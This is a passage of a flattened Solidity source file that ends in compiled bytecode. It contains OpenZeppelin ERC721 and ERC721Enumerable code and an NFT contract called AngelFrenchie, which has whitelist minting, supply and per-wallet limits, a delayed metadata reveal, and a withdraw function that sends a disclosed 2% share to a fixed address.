token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/AngelFrenchie.sol pragma solidity >=0.7.0 <0.9.0; contract AngelFrenchie is ERC721Enumerable, Ownable { using Strings for uint256; string private baseURI; string private baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.15 ether; uint16 public maxSupply = 777; uint8 public maxMintsPerTransactions = 10; uint8 public maxTokensPerWallet = 3; bool public paused = false; bool public revealed = false; bool public whitelistOnly = true; mapping(address => bool) internal whitelistedUsers; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); mint(39); // Mint 39 to owners address } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function mint(uint256 _mintAmount) public payable { require(!paused, "minting is paused"); require(_mintAmount > 0, "minting amount less or equal to 0"); uint256 supply = totalSupply(); require(supply + _mintAmount <= maxSupply, "minting this amount exceeds total supply"); if (msg.sender != owner()) { if(whitelistOnly) require(isWhitelisted(msg.sender), "user is not whitelisted"); require(_mintAmount <= maxMintsPerTransactions, "mint amount exceeds maximum allowed tokens per transaction"); require(balanceOf(msg.sender) + _mintAmount <= maxTokensPerWallet, "user's balance after mint exceeds maximum allowed tokens per wallet"); require(msg.value >= cost * _mintAmount, "not enough ether to complete minting"); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function isWhitelisted(address _user) internal view returns (bool){ return whitelistedUsers[_user]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) return notRevealedUri; string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } // Setters function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintsPerTransaction(uint8 _maxMintsPerTransaction) public onlyOwner { maxMintsPerTransactions = _maxMintsPerTransaction; } function setMaxTokensPerWallet(uint8 _maxTokensPerWallet) public onlyOwner { maxTokensPerWallet = _maxTokensPerWallet; } function pause(bool _state) public onlyOwner { paused = _state; } function reveal() public onlyOwner { revealed = true; } function setWhitelistOnly(bool _state) public onlyOwner { whitelistOnly = _state; } function addWhitelistedUsers(address[] calldata _users) public onlyOwner { for(uint16 i = 0; i < _users.length; i++){ whitelistedUsers[_users[i]] = true; } } function removeWhitelistedUsers(address[] calldata _users) public onlyOwner { for(uint16 i = 0; i < _users.length; i++){ whitelistedUsers[_users[i]] = false; } } function withdraw() public payable onlyOwner { // 2% set aside for other parties (bool ds, ) = payable(0x691D7B326bbE686e2fE634F73523dF3C079dFFA0).call{value: address(this).balance * 2 / 100}(""); require(ds); // Remaining amount goes to owner (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x6080604052600436106102465760003560e01c806355f804b311610139578063a22cb465116100b6578063da3ef23f1161007a578063da3ef23f146106b6578063e985e9c5146106d6578063ea05a8c61461071f578063eff42f2e1461073f578063f2c4ce1e1461075f578063f2fde38b1461077f57600080fd5b8063a22cb46514610613578063a475b5dd14610633578063b88d4fde14610648578063c87b56dd14610668578063d5abeb011461068857600080fd5b8063715018a6116100fd578063715018a61461059857806389eed5b2146105ad5780638da5cb5b146105cd57806395d89b41146105eb578063a0712d681461060057600080fd5b806355f804b3146104f65780635c975abb146105165780636352211e146105385780636496d3fc1461055857806370a082311461057857600080fd5b80632f745c59116101c7578063453eb4191161018b578063453eb4191461043f578063469132ce146104715780634b4687b5146104925780634f6ccce7146104b357806351830227146104d357600080fd5b80632f745c59146103aa5780633ccfd60b146103ca57806342842e0e146103d2578063438b6300146103f257806344a0d68a1461041f57600080fd5b8063095ea7b31161020e578063095ea7b31461031157806313faede614610331578063141129f91461035557806318160ddd1461037557806323b872dd1461038a57600080fd5b806301ffc9a71461024b57806302329a291461028057806306fdde03146102a2578063081812fc146102c4578063081c8c44146102fc575b600080fd5b34801561025757600080fd5b5061026b61026636600461264d565b61079f565b60405190151581526020015b60405180910390f35b34801561028c57600080fd5b506102a061029b366004612632565b6107ca565b005b3480156102ae57600080fd5b506102b761081d565b604051610277919061287d565b3480156102d057600080fd5b506102e46102df3660046126d0565b6108af565b6040516001600160a01b039091168152602001610277565b34801561030857600080fd5b506102b7610944565b34801561031d57600080fd5b506102a061032c366004612593565b6109d2565b34801561033d57600080fd5b50610347600e5481565b604051908152602001610277565b34801561036157600080fd5b506102a06103703660046126e9565b610ae8565b34801561038157600080fd5b50600854610347565b34801561039657600080fd5b506102a06103a53660046124b1565b610b32565b3480156103b657600080fd5b506103476103c5366004612593565b610b63565b6102a0610bf9565b3480156103de57600080fd5b506102a06103ed3660046124b1565b610d15565b3480156103fe57600080fd5b5061041261040d366004612463565b610d30565b6040516102779190612839565b34801561042b57600080fd5b506102a061043a3660046126d0565b610dd2565b34801561044b57600080fd5b50600f5461045f9062010000900460ff1681565b60405160ff9091168152602001610277565b34801561047d57600080fd5b50600f5461045f906301000000900460ff1681565b34801561049e57600080fd5b50600f5461026b90600160301b900460ff1681565b3480156104bf57600080fd5b506103476104ce3660046126d0565b610e01565b3480156104df57600080fd5b50600f5461026b9065010000000000900460ff1681565b34801561050257600080fd5b506102a0610511366004612687565b610e94565b34801561052257600080fd5b50600f5461026b90640100000000900460ff1681565b34801561054457600080fd5b506102e46105533660046126d0565b610ed1565b34801561056457600080fd5b506102a06105733660046125bd565b610f48565b34801561058457600080fd5b50610347610593366004612463565b610fec565b3480156105a457600080fd5b506102a0611073565b3480156105b957600080fd5b506102a06105c83660046126e9565b6110a9565b3480156105d957600080fd5b50600a546001600160a01b03166102e4565b3480156105f757600080fd5b506102b76110f1565b6102a061060e3660046126d0565b611100565b34801561061f57600080fd5b506102a061062e366004612569565b611464565b34801561063f57600080fd5b506102a061146f565b34801561065457600080fd5b506102a06106633660046124ed565b6114b2565b34801561067457600080fd5b506102b76106833660046126d0565b6114ea565b34801561069457600080fd5b50600f546106a39061ffff1681565b60405161ffff9091168152602001610277565b3480156106c257600080fd5b506102a06106d1366004612687565b61166d565b3480156106e257600080fd5b5061026b6106f136600461247e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561072b57600080fd5b506102a061073a366004612632565b6116aa565b34801561074b57600080fd5b506102a061075a3660046125bd565b6116f5565b34801561076b57600080fd5b506102a061077a366004612687565b611799565b34801561078b57600080fd5b506102a061079a366004612463565b6117d6565b60006001600160e01b0319821663780e9d6360e01b14806107c457506107c482611877565b92915050565b600a546001600160a01b031633146107fd5760405162461bcd60e51b81526004016107f4906128e2565b60405180910390fd5b600f80549115156401000000000264ff0000000019909216919091179055565b60606000805461082c906129f6565b80601f0160208091040260200160405190810160405280929190818152602001828054610858906129f6565b80156108a55780601f1061087a576101008083540402835291602001916108a5565b820191906000526020600020905b81548152906001019060200180831161088857829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109285760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107f4565b506000908152600460205260409020546001600160a01b031690565b600d8054610951906129f6565b80601f016020809104026020016040519081016040528092919081815260200182805461097d906129f6565b80156109ca5780601f1061099f576101008083540402835291602001916109ca565b820191906000526020600020905b8154815290600101906020018083116109ad57829003601f168201915b505050505081565b60006109dd82610ed1565b9050806001600160a01b0316836001600160a01b03161415610a4b5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107f4565b336001600160a01b0382161480610a675750610a6781336106f1565b610ad95760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107f4565b610ae383836118c7565b505050565b600a546001600160a01b03163314610b125760405162461bcd60e51b81526004016107f4906128e2565b600f805460ff90921663010000000263ff00000019909216919091179055565b610b3c3382611935565b610b585760405162461bcd60e51b81526004016107f490612917565b610ae3838383611a2c565b6000610b6e83610fec565b8210610bd05760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016107f4565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610c235760405162461bcd60e51b81526004016107f4906128e2565b600073691d7b326bbe686e2fe634f73523df3c079dffa06064610c47476002612994565b610c519190612980565b604051600081818185875af1925050503d8060008114610c8d576040519150601f19603f3d011682016040523d82523d6000602084013e610c92565b606091505b5050905080610ca057600080fd5b6000610cb4600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610cfe576040519150601f19603f3d011682016040523d82523d6000602084013e610d03565b606091505b5050905080610d1157600080fd5b5050565b610ae3838383604051806020016040528060008152506114b2565b60606000610d3d83610fec565b905060008167ffffffffffffffff811115610d5a57610d5a612ada565b604051908082528060200260200182016040528015610d83578160200160208202803683370190505b50905060005b82811015610dca57610d9b8582610b63565b828281518110610dad57610dad612ac4565b602090810291909101015280610dc281612a53565b915050610d89565b509392505050565b600a546001600160a01b03163314610dfc5760405162461bcd60e51b81526004016107f4906128e2565b600e55565b6000610e0c60085490565b8210610e6f5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016107f4565b60088281548110610e8257610e82612ac4565b90600052602060002001549050919050565b600a546001600160a01b03163314610ebe5760405162461bcd60e51b81526004016107f4906128e2565b8051610d1190600b906020840190612328565b6000818152600260205260408120546001600160a01b0316806107c45760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107f4565b600a546001600160a01b03163314610f725760405162461bcd60e51b81526004016107f4906128e2565b60005b61ffff8116821115610ae35760016010600085858561ffff16818110610f9d57610f9d612ac4565b9050602002016020810190610fb29190612463565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610fe481612a31565b915050610f75565b60006001600160a01b0382166110575760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107f4565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331461109d5760405162461bcd60e51b81526004016107f4906128e2565b6110a76000611bd7565b565b600a546001600160a01b031633146110d35760405162461bcd60e51b81526004016107f4906128e2565b600f805460ff909216620100000262ff000019909216919091179055565b60606001805461082c906129f6565b600f54640100000000900460ff161561114f5760405162461bcd60e51b81526020600482015260116024820152701b5a5b9d1a5b99c81a5cc81c185d5cd959607a1b60448201526064016107f4565b600081116111a95760405162461bcd60e51b815260206004820152602160248201527f6d696e74696e6720616d6f756e74206c657373206f7220657175616c20746f206044820152600360fc1b60648201526084016107f4565b60006111b460085490565b600f5490915061ffff166111c88383612968565b11156112275760405162461bcd60e51b815260206004820152602860248201527f6d696e74696e67207468697320616d6f756e74206578636565647320746f74616044820152676c20737570706c7960c01b60648201526084016107f4565b600a546001600160a01b0316331461143557600f54600160301b900460ff16156112aa573360009081526010602052604090205460ff166112aa5760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c697374656400000000000000000060448201526064016107f4565b600f5462010000900460ff1682111561132b5760405162461bcd60e51b815260206004820152603a60248201527f6d696e7420616d6f756e742065786365656473206d6178696d756d20616c6c6f60448201527f77656420746f6b656e7320706572207472616e73616374696f6e00000000000060648201526084016107f4565b600f546301000000900460ff168261134233610fec565b61134c9190612968565b11156113cc5760405162461bcd60e51b815260206004820152604360248201527f7573657227732062616c616e6365206166746572206d696e742065786365656460448201527f73206d6178696d756d20616c6c6f77656420746f6b656e73207065722077616c6064820152621b195d60ea1b608482015260a4016107f4565b81600e546113da9190612994565b3410156114355760405162461bcd60e51b8152602060048201526024808201527f6e6f7420656e6f75676820657468657220746f20636f6d706c657465206d696e60448201526374696e6760e01b60648201526084016107f4565b60015b828111610ae3576114523361144d8385612968565b611c29565b8061145c81612a53565b915050611438565b610d11338383611c43565b600a546001600160a01b031633146114995760405162461bcd60e51b81526004016107f4906128e2565b600f805465ff0000000000191665010000000000179055565b6114bc3383611935565b6114d85760405162461bcd60e51b81526004016107f490612917565b6114e484848484611d12565b50505050565b6000818152600260205260409020546060906001600160a01b03166115695760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107f4565b600f5465010000000000900460ff1661160e57600d8054611589906129f6565b80601f01602080910402602001604051908101604052809291908181526020018280546115b5906129f6565b80156116025780601f106115d757610100808354040283529160200191611602565b820191906000526020600020905b8154815290600101906020018083116115e557829003601f168201915b50505050509050919050565b6000611618611d45565b905060008151116116385760405180602001604052806000815250611666565b8061164284611d54565b600c60405160200161165693929190612738565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146116975760405162461bcd60e51b81526004016107f4906128e2565b8051610d1190600c906020840190612328565b600a546001600160a01b031633146116d45760405162461bcd60e51b81526004016107f4906128e2565b600f8054911515600160301b0266ff00000000000019909216919091179055565b600a546001600160a01b0316331461171f5760405162461bcd60e51b81526004016107f4906128e2565b60005b61ffff8116821115610ae35760006010600085858561ffff1681811061174a5761174a612ac4565b905060200201602081019061175f9190612463565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061179181612a31565b915050611722565b600a546001600160a01b031633146117c35760405162461bcd60e51b81526004016107f4906128e2565b8051610d1190600d906020840190612328565b600a546001600160a01b031633146118005760405162461bcd60e51b81526004016107f4906128e2565b6001600160a01b0381166118655760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f4565b61186e81611bd7565b50565b3b151590565b60006001600160e01b031982166380ac58cd60e01b14806118a857506001600160e01b03198216635b5e139f60e01b145b806107c457506301ffc9a760e01b6001600160e01b03198316146107c4565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906118fc82610ed1565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166119ae5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107f4565b60006119b983610ed1565b9050806001600160a01b0316846001600160a01b031614806119f45750836001600160a01b03166119e9846108af565b6001600160a01b0316145b80611a2457506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611a3f82610ed1565b6001600160a01b031614611aa75760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107f4565b6001600160a01b038216611b095760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107f4565b611b14838383611e52565b611b1f6000826118c7565b6001600160a01b0383166000908152600360205260408120805460019290611b489084906129b3565b90915550506001600160a01b0382166000908152600360205260408120805460019290611b76908490612968565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610d11828260405180602001604052806000815250611f0a565b816001600160a01b0316836001600160a01b03161415611ca55760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107f4565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611d1d848484611a2c565b611d2984848484611f3d565b6114e45760405162461bcd60e51b81526004016107f490612890565b6060600b805461082c906129f6565b606081611d785750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611da25780611d8c81612a53565b9150611d9b9050600a83612980565b9150611d7c565b60008167ffffffffffffffff811115611dbd57611dbd612ada565b6040519080825280601f01601f191660200182016040528015611de7576020820181803683370190505b5090505b8415611a2457611dfc6001836129b3565b9150611e09600a86612a6e565b611e14906030612968565b60f81b818381518110611e2957611e29612ac4565b60200101906001600160f81b031916908160001a905350611e4b600a86612980565b9450611deb565b6001600160a01b038316611ead57611ea881600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611ed0565b816001600160a01b0316836001600160a01b031614611ed057611ed0838261204a565b6001600160a01b038216611ee757610ae3816120e7565b826001600160a01b0316826001600160a01b031614610ae357610ae38282612196565b611f1483836121da565b611f216000848484611f3d565b610ae35760405162461bcd60e51b81526004016107f490612890565b60006001600160a01b0384163b1561203f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611f819033908990889088906004016127fc565b602060405180830381600087803b158015611f9b57600080fd5b505af1925050508015611fcb575060408051601f3d908101601f19168201909252611fc89181019061266a565b60015b612025573d808015611ff9576040519150601f19603f3d011682016040523d82523d6000602084013e611ffe565b606091505b50805161201d5760405162461bcd60e51b81526004016107f490612890565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611a24565b506001949350505050565b6000600161205784610fec565b61206191906129b3565b6000838152600760205260409020549091508082146120b4576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906120f9906001906129b3565b6000838152600960205260408120546008805493945090928490811061212157612121612ac4565b90600052602060002001549050806008838154811061214257612142612ac4565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061217a5761217a612aae565b6001900381819060005260206000200160009055905550505050565b60006121a183610fec565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166122305760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107f4565b6000818152600260205260409020546001600160a01b0316156122955760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107f4565b6122a160008383611e52565b6001600160a01b03821660009081526003602052604081208054600192906122ca908490612968565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054612334906129f6565b90600052602060002090601f016020900481019282612356576000855561239c565b82601f1061236f57805160ff191683800117855561239c565b8280016001018555821561239c579182015b8281111561239c578251825591602001919060010190612381565b506123a89291506123ac565b5090565b5b808211156123a857600081556001016123ad565b600067ffffffffffffffff808411156123dc576123dc612ada565b604051601f8501601f19908116603f0116810190828211818310171561240457612404612ada565b8160405280935085815286868601111561241d57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461244e57600080fd5b919050565b8035801515811461244e57600080fd5b60006020828403121561247557600080fd5b61166682612437565b6000806040838503121561249157600080fd5b61249a83612437565b91506124a860208401612437565b90509250929050565b6000806000606084860312156124c657600080fd5b6124cf84612437565b92506124dd60208501612437565b9150604084013590509250925092565b6000806000806080858703121561250357600080fd5b61250c85612437565b935061251a60208601612437565b925060408501359150606085013567ffffffffffffffff81111561253d57600080fd5b8501601f8101871361254e57600080fd5b61255d878235602084016123c1565b91505092959194509250565b6000806040838503121561257c57600080fd5b61258583612437565b91506124a860208401612453565b600080604083850312156125a657600080fd5b6125af83612437565b946020939093013593505050565b600080602083850312156125d057600080fd5b823567ffffffffffffffff808211156125e857600080fd5b818501915085601f8301126125fc57600080fd5b81358181111561260b57600080fd5b8660208260051b850101111561262057600080fd5b60209290920196919550909350505050565b60006020828403121561264457600080fd5b61166682612453565b60006020828403121561265f57600080fd5b813561166681612af0565b60006020828403121561267c57600080fd5b815161166681612af0565b60006020828403121561269957600080fd5b813567ffffffffffffffff8111156126b057600080fd5b8201601f810184136126c157600080fd5b611a24848235602084016123c1565b6000602082840312156126e257600080fd5b5035919050565b6000602082840312156126fb57600080fd5b813560ff8116811461166657600080fd5b600081518084526127248160208601602086016129ca565b601f01601f19169290920160200192915050565b60008451602061274b8285838a016129ca565b85519184019161275e8184848a016129ca565b8554920191600090600181811c908083168061277b57607f831692505b85831081141561279957634e487b7160e01b85526022600452602485fd5b8080156127ad57600181146127be576127eb565b60ff198516885283880195506127eb565b60008b81526020902060005b858110156127e35781548a8201529084019088016127ca565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061282f9083018461270c565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561287157835183529284019291840191600101612855565b50909695505050505050565b602081526000611666602083018461270c565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561297b5761297b612a82565b500190565b60008261298f5761298f612a98565b500490565b60008160001904831182151516156129ae576129ae612a82565b500290565b6000828210156129c5576129c5612a82565b500390565b60005b838110156129e55781810151838201526020016129cd565b838111156114e45750506000910152565b600181811c90821680612a0a57607f821691505b60208210811415612a2b57634e487b7160e01b600052602260045260246000fd5b50919050565b600061ffff80831681811415612a4957612a49612a82565b6001019392505050565b6000600019821415612a6757612a67612a82565b5060010190565b600082612a7d57612a7d612a98565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461186e57600080fdfea264697066735822122014a220a0efbc01ca6d87b8c32bab3e29f073ca5c9512e1b4d92b4978f9f80bab64736f6c63430008070033
